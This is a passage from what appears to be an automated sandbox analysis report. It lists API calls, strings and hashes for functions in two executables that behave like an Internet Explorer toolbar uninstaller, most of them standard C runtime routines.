API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: ba201183108d42ab5cfff8628e71b83fde8666eebaab9aae7b8619d44cee13e2
Instruction ID: 95ea9413e87c580e8969c52cee614d794f3d7c1681a2fdeb1429b9d43b648262
Opcode Fuzzy Hash: ba201183108d42ab5cfff8628e71b83fde8666eebaab9aae7b8619d44cee13e2
Instruction Fuzzy Hash: 97019E32A31B21DBCB29AF29980679DB360BF04710F154015F950B76A1CB34BEA5EFD6

Function 00C335EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00C3360C

Part of subcall function 00C32AA0: __mtinitlocknum.LIBCMT ref: 00C32AB6
Part of subcall function 00C32AA0: __amsg_exit.LIBCMT ref: 00C32AC2
Part of subcall function 00C32AA0: EnterCriticalSection.KERNEL32(?,?,?,00C35600,00000004,00C39628,0000000C,00C33746,?,?,00000000,00000000,00000000,?,00C322F7,00000001), ref: 00C32ACA

___sbh_find_block.LIBCMT ref: 00C33617
___sbh_free_block.LIBCMT ref: 00C33626
HeapFree.KERNEL32(00000000,?,00C39568,0000000C,00C32A81,00000000,00C394C8,0000000C,00C32ABB,?,?,?,00C35600,00000004,00C39628,0000000C), ref: 00C33656
GetLastError.KERNEL32(?,00C35600,00000004,00C39628,0000000C,00C33746,?,?,00000000,00000000,00000000,?,00C322F7,00000001,00000214), ref: 00C33667

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: dd75da30b1fc413d9a163d1e815dd276474c2b898d03c9a6771713269f66489e
Instruction ID: a9f173c7b16c55117c71d6fd988267046e418c1d2d7cdd6feea0f9c171c0562c
Opcode Fuzzy Hash: dd75da30b1fc413d9a163d1e815dd276474c2b898d03c9a6771713269f66489e
Instruction Fuzzy Hash: 78016D71D24345BFDF246B71AC0BB9E3A74BF11760F604119F550A6292CB388B84EB99

Function 00C33E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00C33E10

Part of subcall function 00C32345: __getptd_noexit.LIBCMT ref: 00C32348
Part of subcall function 00C32345: __amsg_exit.LIBCMT ref: 00C32355

__getptd.LIBCMT ref: 00C33E27
__amsg_exit.LIBCMT ref: 00C33E35
__lock.LIBCMT ref: 00C33E45

Memory Dump Source

Source File: 00000028.00000002.2671980943.0000000000C31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000028.00000002.2671942292.0000000000C30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672087506.0000000000C3A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000028.00000002.2672121481.0000000000C3C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_c30000_vtAIyr.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 917df5550cea212fb7d31da0209a7706ba95f52346cd207be3d6badd24d4eefa
Instruction ID: e22373382f294db743e376c2ed9fe317fdde0f5fd5294d5206d56df2dc53c07b
Opcode Fuzzy Hash: 917df5550cea212fb7d31da0209a7706ba95f52346cd207be3d6badd24d4eefa
Instruction Fuzzy Hash: A0F03A32A347419BDB60BB75880774D72A0AF48B20F544659E4919B2E2CF749B41BB62

Analysis Process: 4Gl42go.exePID: 2136, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1049
Total number of Limit Nodes:	28

Executed Functions

Function 00B01000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00B01006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00B01013
GetLastError.KERNEL32 ref: 00B0101F
GetCommandLineW.KERNEL32(?), ref: 00B01040
CommandLineToArgvW.SHELL32(00000000), ref: 00B01047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00B01061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00B01073
LoadLibraryW.KERNELBASE(?), ref: 00B01085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00B01097
FreeLibrary.KERNELBASE(00000000), ref: 00B010A4
CloseHandle.KERNELBASE(00000000), ref: 00B010AB
CoUninitialize.COMBASE ref: 00B010B1
LocalFree.KERNEL32(00000000), ref: 00B010BC

Strings

Global\IEToolbarUninstaller, xrefs: 00B0100C
tbcore3.dll, xrefs: 00B0105C, 00B01067
MyUnregisterServer, xrefs: 00B01091
tbcore3U.dll, xrefs: 00B0106E, 00B01079

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 8ae610353a7194596070b9ce916c2a7ea6b0952a27e3e8f5fb9c1c869801a99a
Instruction ID: 7db7b32111bc0cf99c2ceae9c95eab96cecc0bb2594537608d4256ffe568f957
Opcode Fuzzy Hash: 8ae610353a7194596070b9ce916c2a7ea6b0952a27e3e8f5fb9c1c869801a99a
Instruction Fuzzy Hash: A111DF32605655ABD721AB64AC08A9B3EDCFE6475170009A5F5C2D30A1EF60CA45CBB6

Function 00B01465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00B0146D

Part of subcall function 00B0143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00B01472,?,?,00B054EE,000000FF,0000001E,?,00B036FC,?,00000001,?,?,00B02A2A,00000018), ref: 00B01444
Part of subcall function 00B0143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B01454

ExitProcess.KERNEL32 ref: 00B01476

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 911711d6bcf014b466126fcf68f18044b691dab160fd4f44fcca5e8da97d2477
Instruction ID: b68d2d5dcf2c99497ed7fa159b64942464a03e9121f760698bab48cc21c5e24e
Opcode Fuzzy Hash: 911711d6bcf014b466126fcf68f18044b691dab160fd4f44fcca5e8da97d2477
Instruction Fuzzy Hash: 0FB09231000108BBDB062F16DC0A84E3F6AFB803A0B608420F8484A171EF72AE929A90

Function 00B0261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00B02630

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 470b442ed37fc74bfbbbfb34c13de2cbc960b89ac0be2b0d50156320ffafaa0e
Instruction ID: b64a2b0a5e1ba2d8d0ba209a66fa32f949bc3421e5ac07fe65b1f6cfd34a06db
Opcode Fuzzy Hash: 470b442ed37fc74bfbbbfb34c13de2cbc960b89ac0be2b0d50156320ffafaa0e
Instruction Fuzzy Hash: 40D0A7325543445EEB005F717C48F263BDCD394395F108475B94CC7290FE71CA94CA40

Function 00B01681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00B0168D

Part of subcall function 00B01555: __lock.LIBCMT ref: 00B01563
Part of subcall function 00B01555: __decode_pointer.LIBCMT ref: 00B0159A
Part of subcall function 00B01555: __decode_pointer.LIBCMT ref: 00B015AF
Part of subcall function 00B01555: __decode_pointer.LIBCMT ref: 00B015D9
Part of subcall function 00B01555: __decode_pointer.LIBCMT ref: 00B015EF
Part of subcall function 00B01555: __decode_pointer.LIBCMT ref: 00B015FC
Part of subcall function 00B01555: __initterm.LIBCMT ref: 00B0162B
Part of subcall function 00B01555: __initterm.LIBCMT ref: 00B0163B

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a9fe9c15c8608e3c61353a5237c564be1a43f2b83b94353be8a198b90e44e1be
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: 7AB0123258030C33DB20258AEC03F0A3F4D87D0BA0F250060FA0C1D1F1B9A3B96180CA

Non-executed Functions

Function 00B010CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00B01346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B0135B
UnhandledExceptionFilter.KERNEL32(00B0816C), ref: 00B01366
GetCurrentProcess.KERNEL32(C0000409), ref: 00B01382
TerminateProcess.KERNEL32(00000000), ref: 00B01389

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 390053b64805178244e8788f86970b7c80487599a9f892ceb21816ed308d4827
Instruction ID: e9cca88612e15da5f35ba16a0a427ee2c4e5cb681157c41e9756dddd3895155b
Opcode Fuzzy Hash: 390053b64805178244e8788f86970b7c80487599a9f892ceb21816ed308d4827
Instruction Fuzzy Hash: DB21A0B4401304DFD720DF68ED446543BB4FB28346F504A6AE54897A60EF745989CF5A

Function 00B021E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00B09458,0000000C,00B02320,00000000,00000000,?,00B0174F,00000003,?,?,?,?,?,?,00B010F6), ref: 00B021F7
__crt_waiting_on_module_handle.LIBCMT ref: 00B02202

Part of subcall function 00B013E1: Sleep.KERNEL32(000003E8,00000000,?,00B02148,KERNEL32.DLL,?,00B02194,?,00B0174F,00000003), ref: 00B013ED
Part of subcall function 00B013E1: GetModuleHandleW.KERNEL32(?,?,00B02148,KERNEL32.DLL,?,00B02194,?,00B0174F,00000003,?,?,?,?,?,?,00B010F6), ref: 00B013F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00B0222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00B0223B
__lock.LIBCMT ref: 00B0225D
InterlockedIncrement.KERNEL32(00B0A4D8), ref: 00B0226A
__lock.LIBCMT ref: 00B0227E
___addlocaleref.LIBCMT ref: 00B0229C

Strings

DecodePointer, xrefs: 00B02233
KERNEL32.DLL, xrefs: 00B021F1, 00B021F6, 00B02201
EncodePointer, xrefs: 00B0221F

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 364314a0731de647efd7a20ca13ec56df8cc73a08dd346a26c185e86e4e1b97b
Instruction ID: 77c97c6f24e573b6624de55b2b113a6f80f64d1cf53ed3ae5125894bcb2e211e
Opcode Fuzzy Hash: 364314a0731de647efd7a20ca13ec56df8cc73a08dd346a26c185e86e4e1b97b
Instruction Fuzzy Hash: 8711AF719407019EE720EFB9D849B4ABFE0AF14310F20499EE49A933E1DF709A488B25

Function 00B040A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00B040AC

Part of subcall function 00B02345: __getptd_noexit.LIBCMT ref: 00B02348
Part of subcall function 00B02345: __amsg_exit.LIBCMT ref: 00B02355

__amsg_exit.LIBCMT ref: 00B040CC
__lock.LIBCMT ref: 00B040DC
InterlockedDecrement.KERNEL32(?), ref: 00B040F9
InterlockedIncrement.KERNEL32(02642AF0), ref: 00B04124

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 7badb87308eb493defff098b404429701481ebe7ed5f43b2aff06d5c3498bcde
Instruction ID: cb78404657a07b8aa04b0e96bb190f56df31f178fd27d980f48699abaace2a15
Opcode Fuzzy Hash: 7badb87308eb493defff098b404429701481ebe7ed5f43b2aff06d5c3498bcde
Instruction Fuzzy Hash: 6401A972A017219BDB25AF25980A75D7FE0FF20710F0440C5EA00B32E1DF34A995CB96

Function 00B035EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00B0360C

Part of subcall function 00B02AA0: __mtinitlocknum.LIBCMT ref: 00B02AB6
Part of subcall function 00B02AA0: __amsg_exit.LIBCMT ref: 00B02AC2
Part of subcall function 00B02AA0: EnterCriticalSection.KERNEL32(?,?,?,00B05600,00000004,00B09628,0000000C,00B03746,?,?,00000000,00000000,00000000,?,00B022F7,00000001), ref: 00B02ACA

___sbh_find_block.LIBCMT ref: 00B03617
___sbh_free_block.LIBCMT ref: 00B03626
HeapFree.KERNEL32(00000000,?,00B09568,0000000C,00B02A81,00000000,00B094C8,0000000C,00B02ABB,?,?,?,00B05600,00000004,00B09628,0000000C), ref: 00B03656
GetLastError.KERNEL32(?,00B05600,00000004,00B09628,0000000C,00B03746,?,?,00000000,00000000,00000000,?,00B022F7,00000001,00000214), ref: 00B03667

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 6ddb8cd796f55f4d1a62374ffe60f88350169b0cf1ebf9e6f9b9f70b439ac8f0
Instruction ID: 68beb77672ec22a2e2d47f7fb57d1ffc42091eb959a3615e22bf12399cab8b8a
Opcode Fuzzy Hash: 6ddb8cd796f55f4d1a62374ffe60f88350169b0cf1ebf9e6f9b9f70b439ac8f0
Instruction Fuzzy Hash: FF016271D09705BAEB206F719C0EB5D3EE8EF21B60F6080D9F544672D1DF368A44CA59

Function 00B03E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00B03E10

Part of subcall function 00B02345: __getptd_noexit.LIBCMT ref: 00B02348
Part of subcall function 00B02345: __amsg_exit.LIBCMT ref: 00B02355

__getptd.LIBCMT ref: 00B03E27
__amsg_exit.LIBCMT ref: 00B03E35
__lock.LIBCMT ref: 00B03E45

Memory Dump Source

Source File: 0000002A.00000002.2673191101.0000000000B01000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000002A.00000002.2673163239.0000000000B00000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673250157.0000000000B0A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000002A.00000002.2673282509.0000000000B0C000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_b00000_4Gl42go.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 91efe8034d1b53618ed15198d48a0bda9c7e845624ac2ae51014d316ddb002c6
Instruction ID: df77cf1e5ff0751f2712533cb467fadf12366afd677bb451bfc5d65219d99c56
Opcode Fuzzy Hash: 91efe8034d1b53618ed15198d48a0bda9c7e845624ac2ae51014d316ddb002c6
Instruction Fuzzy Hash: 28F09032A003018FD760BB74C40F74D7AE4AF54B20F5046D9E441972E2CF749A458B62

Analysis Process: 5fuoTf.exePID: 6280, Parent PID: 1228COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1047
Total number of Limit Nodes:	29

Executed Functions

Function 00E31000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00E31006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00E31013
GetLastError.KERNEL32 ref: 00E3101F
GetCommandLineW.KERNEL32(?), ref: 00E31040
CommandLineToArgvW.SHELL32(00000000), ref: 00E31047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00E31061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00E31073
LoadLibraryW.KERNELBASE(?), ref: 00E31085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00E31097
FreeLibrary.KERNELBASE(00000000), ref: 00E310A4
CloseHandle.KERNELBASE(00000000), ref: 00E310AB
CoUninitialize.COMBASE ref: 00E310B1
LocalFree.KERNEL32(00000000), ref: 00E310BC

Strings

tbcore3U.dll, xrefs: 00E3106E, 00E31079
tbcore3.dll, xrefs: 00E3105C, 00E31067
MyUnregisterServer, xrefs: 00E31091
Global\IEToolbarUninstaller, xrefs: 00E3100C

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 08e2e69affa99c344d96b631980181fd0c15178e4318527e7ff3628f72adc4e6
Instruction ID: 8b4c744ceaa2de3b9926fefb59e78e6809bcd8f06665ef1750dd827247401cf6
Opcode Fuzzy Hash: 08e2e69affa99c344d96b631980181fd0c15178e4318527e7ff3628f72adc4e6
Instruction Fuzzy Hash: 6F11D272505759AF93286B62AD0CAAB3F98AB44755F001599F542F2051CFA08949CEB1

Function 00E31465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00E3146D

Part of subcall function 00E3143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00E31472,?,?,00E354EE,000000FF,0000001E,?,00E336FC,?,00000001,?,?,00E32A2A,00000018), ref: 00E31444
Part of subcall function 00E3143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E31454

ExitProcess.KERNEL32 ref: 00E31476

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 2fef370de1d2a423e69e773504aefd793377bd43a2f5a9bd61bf9a20d506641d
Instruction ID: 7ad913dbc1eac2e6ef39e99c072b1ddc8b169cb075b7d1b138e4a86f99dcea5f
Opcode Fuzzy Hash: 2fef370de1d2a423e69e773504aefd793377bd43a2f5a9bd61bf9a20d506641d
Instruction Fuzzy Hash: 8CB0923100420CBFEB062F12DD0E84D3F6AFB803A0B609425F81859031DF72ADA6DA90

Function 00E3261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00E32630

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_e30000_5fuoTf.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: aff3a8ae3055a3acd1fe075f541d02628b2a0d03653b8e8bb2773ceaa29f0092
Instruction ID: 4ab9010a6e546b8fddf8b437a35bd944ffea3c016299f184ce740af811c60aa3
Opcode Fuzzy Hash: aff3a8ae3055a3acd1fe075f541d02628b2a0d03653b8e8bb2773ceaa29f0092
Instruction Fuzzy Hash: FED05E329543485EEB009F72AC4D7223FDCD784799F10843ABA4DD6161F670C598CA04

Function 00E31681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00E3168D

Part of subcall function 00E31555: __lock.LIBCMT ref: 00E31563
Part of subcall function 00E31555: __decode_pointer.LIBCMT ref: 00E3159A
Part of subcall function 00E31555: __decode_pointer.LIBCMT ref: 00E315AF
Part of subcall function 00E31555: __decode_pointer.LIBCMT ref: 00E315D9
Part of subcall function 00E31555: __decode_pointer.LIBCMT ref: 00E315EF
Part of subcall function 00E31555: __decode_pointer.LIBCMT ref: 00E315FC
Part of subcall function 00E31555: __initterm.LIBCMT ref: 00E3162B
Part of subcall function 00E31555: __initterm.LIBCMT ref: 00E3163B

Memory Dump Source

Source File: 0000002F.00000002.2936607521.0000000000E31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E30000, based on PE: true

Associated: 0000002F.00000002.2936520678.0000000000E30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937251723.0000000000E3A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002F.00000002.2937342328.0000000000E3C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

